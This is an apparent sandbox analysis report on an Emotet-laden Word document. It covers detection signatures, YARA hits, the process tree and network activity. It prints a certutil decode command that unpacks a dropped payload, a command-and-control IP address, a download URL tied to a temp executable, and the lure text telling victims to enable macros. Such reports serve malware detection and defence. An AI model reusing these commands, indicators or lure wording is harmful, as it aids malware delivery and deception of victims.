Play interactive tour

Edit tour

Analysis Report sample1.bin

Overview

General Information

Sample Name:	sample1.bin (renamed file extension from bin to doc)
Analysis ID:	339446
MD5:	7dbd8ecfada1d39a81a58c9468b91039
SHA1:	0d21e2742204d1f98f6fcabe0544570fd6857dd3
SHA256:	dc40e48d2eb0e57cd16b1792bdccc185440f632783c7bcc87c955e1d4e88fc95
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Emotet

Creates and opens a fake document (probably a fake document to hide exploiting)

Creates processes via WMI

Document contains an embedded VBA macro with suspicious strings

Drops PE files to the user root directory

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to delete services

Contains functionality to enumerate running services

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w7x64

WINWORD.EXE (PID: 2264 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

certutil.exe (PID: 2440 cmdline: Certutil -decode C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf MD5: 4586B77B18FA9A8518AF76CA8FD247D9)

svchost.exe (PID: 2348 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

tmp_e473b4.exe (PID: 1772 cmdline: C:\Users\user\AppData\Local\Temp/tmp_e473b4.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

auditpolmsg.exe (PID: 1688 cmdline: C:\Windows\SysWOW64\srclient\auditpolmsg.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

wcnwiz.exe (PID: 2064 cmdline: C:\Windows\SysWOW64\mfc110\wcnwiz.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

SampleRes.exe (PID: 2004 cmdline: C:\Windows\SysWOW64\capiprovider\SampleRes.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

NlsData0414.exe (PID: 2364 cmdline: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

mfc140.exe (PID: 1664 cmdline: C:\Windows\SysWOW64\KBDNO\mfc140.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

ieframe.exe (PID: 1236 cmdline: C:\Windows\SysWOW64\advapi32\ieframe.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

cryptdll.exe (PID: 2728 cmdline: C:\Windows\SysWOW64\nshipsec\cryptdll.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

wlanui.exe (PID: 2832 cmdline: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe MD5: E87553AEBAC0BF74D165A87321C629BE)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000009.00000003.2262096055.0000000000548000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000A.00000003.2266631097.0000000000578000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000007.00000003.2252976219.0000000000588000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000E.00000002.2292365132.00000000008C4000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000E.00000003.2286180989.0000000000908000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000008.00000003.2257551859.00000000005F8000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000C.00000003.2276010487.00000000005F8000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000F.00000002.2335114479.00000000002B4000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000007.00000002.2256830860.0000000000586000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000D.00000002.2285331820.00000000008E4000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000D.00000003.2280766001.0000000000928000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000009.00000002.2265953499.0000000000546000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000A.00000002.2271093826.0000000000576000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000008.00000002.2263042599.00000000005F6000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000B.00000002.2276502729.00000000005E6000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000B.00000003.2271289978.00000000005E8000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000C.00000002.2280282398.00000000005F6000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000F.00000003.2292126114.00000000002F8000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000005.00000002.2252845078.00000000002FD000.00000004.00000020.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0x1ff1c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.mfc140.exe.3e0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
10.2.SampleRes.exe.7b0000.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
13.2.ieframe.exe.320000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
14.2.cryptdll.exe.620000.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
15.2.wlanui.exe.480000.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
7.2.tmp_e473b4.exe.3f0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
11.2.NlsData0414.exe.2b0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
9.2.wcnwiz.exe.3b0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
8.2.auditpolmsg.exe.360000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
Click to see the 4 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: sample1.doc

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\Users\Public\Ksh1.pdf

Avira: detection malicious, Label: TR/Casdet.xqfgu

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\Public\Ksh1.pdf	Metadefender: Detection: 40%			Perma Link
Source: C:\Users\Public\Ksh1.pdf	ReversingLabs: Detection: 64%

Multi AV Scanner detection for submitted file

Show sources

Source: sample1.doc	Virustotal: Detection: 61%	Perma Link
Source: sample1.doc	Metadefender: Detection: 45%	Perma Link
Source: sample1.doc	ReversingLabs: Detection: 72%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\Ksh1.pdf

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: sample1.doc

Joe Sandbox ML: detected

Source: 9.1.wcnwiz.exe.39b0000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 14.1.cryptdll.exe.3ab0000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 7.1.tmp_e473b4.exe.3a20000.2.unpack	Avira: Label: TR/Dropper.Gen
Source: 13.1.ieframe.exe.39f0000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 9.0.wcnwiz.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 7.0.tmp_e473b4.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 10.1.SampleRes.exe.39e0000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 15.0.wlanui.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 13.0.ieframe.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 8.0.auditpolmsg.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 7.1.tmp_e473b4.exe.3a20000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 14.0.cryptdll.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 12.1.mfc140.exe.3980000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 12.0.mfc140.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 8.1.auditpolmsg.exe.39b0000.1.unpack	Avira: Label: TR/Dropper.Gen
Source: 11.0.NlsData0414.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 10.0.SampleRes.exe.400000.0.unpack	Avira: Label: TR/AD.Emotet.fao
Source: 11.1.NlsData0414.exe.39c0000.1.unpack	Avira: Label: TR/Dropper.Gen

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_004825E0 CryptDecodeObjectEx,CryptDecodeObjectEx,CryptImportKey,LocalFree,CryptAcquireContextW,CryptGenKey,CryptCreateHash,GetProcessHeap,HeapFree,	15_2_004825E0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00482230 CryptEncrypt,memcpy,CryptGetHashParam,CryptDestroyHash,CryptDuplicateHash,CryptExportKey,GetProcessHeap,RtlAllocateHeap,	15_2_00482230
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00481FC0 CryptDestroyHash,CryptDuplicateHash,memcpy,	15_2_00481FC0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00481FD8 CryptDestroyHash,	15_2_00481FD8

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	7_2_003F38F0
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_003638F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	8_2_003638F0
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	9_2_003B38F0
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	10_2_007B38F0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	11_2_002B38F0
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	12_2_003E38F0
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_003238F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	13_2_003238F0
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_006238F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	14_2_006238F0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_004838F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	15_2_004838F0

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Code function: 4x nop then push ebp

7_2_0041FA20

Source: global traffic

TCP traffic: 192.168.2.22:49170 -> 177.130.51.198:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2404310 ET CNC Feodo Tracker Reported CnC Server TCP group 6 192.168.2.22:49170 -> 177.130.51.198:80

Source: Joe Sandbox View

IP Address: 177.130.51.198 177.130.51.198

Source: Joe Sandbox View

ASN Name: WspServicosdeTelecomunicacoesLtdaBR WspServicosdeTelecomunicacoesLtdaBR

Source: global traffic

TCP traffic: 192.168.2.22:49170 -> 177.130.51.198:80

Source: unknown	TCP traffic detected without corresponding DNS query: 177.130.51.198
Source: unknown	TCP traffic detected without corresponding DNS query: 177.130.51.198

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B5C9B88B-61BE-41BF-89DB-AF92964D1C77}.tmp

Jump to behavior

Source: certutil.exe, 00000001.00000002.2223417988.00000000022A0000.00000002.00000001.sdmp, tmp_e473b4.exe, 00000007.00000002.2258709906.00000000030D0000.00000002.00000001.sdmp, auditpolmsg.exe, 00000008.00000002.2265231662.0000000002F30000.00000002.00000001.sdmp, wcnwiz.exe, 00000009.00000002.2269936188.0000000003060000.00000002.00000001.sdmp, SampleRes.exe, 0000000A.00000002.2273974582.0000000002F20000.00000002.00000001.sdmp, NlsData0414.exe, 0000000B.00000002.2278988967.0000000003000000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: certutil.exe, 00000001.00000002.2223417988.00000000022A0000.00000002.00000001.sdmp, tmp_e473b4.exe, 00000007.00000002.2258709906.00000000030D0000.00000002.00000001.sdmp, auditpolmsg.exe, 00000008.00000002.2265231662.0000000002F30000.00000002.00000001.sdmp, wcnwiz.exe, 00000009.00000002.2269936188.0000000003060000.00000002.00000001.sdmp, SampleRes.exe, 0000000A.00000002.2273974582.0000000002F20000.00000002.00000001.sdmp, NlsData0414.exe, 0000000B.00000002.2278988967.0000000003000000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: certutil.exe, 00000001.00000002.2223923762.0000000002770000.00000004.00000001.sdmp	String found in binary or memory: https://pornthash.mobi/videos/tayna_tung
Source: certutil.exe, 00000001.00000002.2223923762.0000000002770000.00000004.00000001.sdmp	String found in binary or memory: https://pornthash.mobi/videos/tayna_tung%temp%/tmp_e473b4.exex

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2262096055.0000000000548000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2266631097.0000000000578000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2252976219.0000000000588000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2292365132.00000000008C4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2286180989.0000000000908000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2257551859.00000000005F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2276010487.00000000005F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2335114479.00000000002B4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2256830860.0000000000586000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2285331820.00000000008E4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2280766001.0000000000928000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2265953499.0000000000546000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2271093826.0000000000576000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2263042599.00000000005F6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2276502729.00000000005E6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2271289978.00000000005E8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2280282398.00000000005F6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2292126114.00000000002F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 12.2.mfc140.exe.3e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SampleRes.exe.7b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.ieframe.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.cryptdll.exe.620000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wlanui.exe.480000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.tmp_e473b4.exe.3f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.NlsData0414.exe.2b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wcnwiz.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.auditpolmsg.exe.360000.1.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe

Code function: 15_2_004825E0 CryptDecodeObjectEx,CryptDecodeObjectEx,CryptImportKey,LocalFree,CryptAcquireContextW,CryptGenKey,CryptCreateHash,GetProcessHeap,HeapFree,

15_2_004825E0

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.2252845078.00000000002FD000.00000004.00000020.sdmp, type: MEMORY

Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" from the yellow bar above. QNN q 2 Once you have enabled editing, please click
Source: Screenshot number: 4	Screenshot OCR: Enable content" on the yellow bar above. Em> "this document is completely safety to open Page: 1 o
Source: Document image extraction number: 0	Screenshot OCR: Enable editing' from the yellow bar 2 Once you have enabled editing, please click "Enable content'
Source: Document image extraction number: 0	Screenshot OCR: Enable content' on the yellow bar above. *this document is completely safety to open

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: sample1.doc	OLE, VBA macro line: Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal One As Long) As Long
Source: sample1.doc	OLE, VBA macro line: Private Declare Function Sleep Lib "Kernel32" (ByVal One As Long) As Long

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003E0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	7_2_003E0400
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_002D0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	8_2_002D0400
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003A0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	9_2_003A0400
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007A0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	10_2_007A0400
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002A0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	11_2_002A0400
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_002D0400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	12_2_002D0400
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_00310400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	13_2_00310400
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_00610400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	14_2_00610400
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00460400 GetCurrentProcess,NtQueryInformationProcess,GetProcessHeap,HeapFree,GetProcessHeap,RtlAllocateHeap,GetCurrentProcess,NtQueryInformationProcess,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,	15_2_00460400

Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe

Code function: 8_2_00368E80 CloseServiceHandle,OpenSCManagerW,DeleteService,OpenServiceW,OpenServiceW,CloseServiceHandle,

8_2_00368E80

Source: C:\Windows\System32\certutil.exe

File created: C:\Windows\cerED0D.tmp

Jump to behavior

Source: C:\Windows\System32\certutil.exe

File deleted: C:\Windows\cerED0D.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040314D	7_2_0040314D
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004052D4	7_2_004052D4
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00409350	7_2_00409350
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00406DA8	7_2_00406DA8
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F78B0	7_2_003F78B0
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F1C70	7_2_003F1C70
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F65E0	7_2_003F65E0
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_00361C70	8_2_00361C70
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_003678B0	8_2_003678B0
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_003665E0	8_2_003665E0
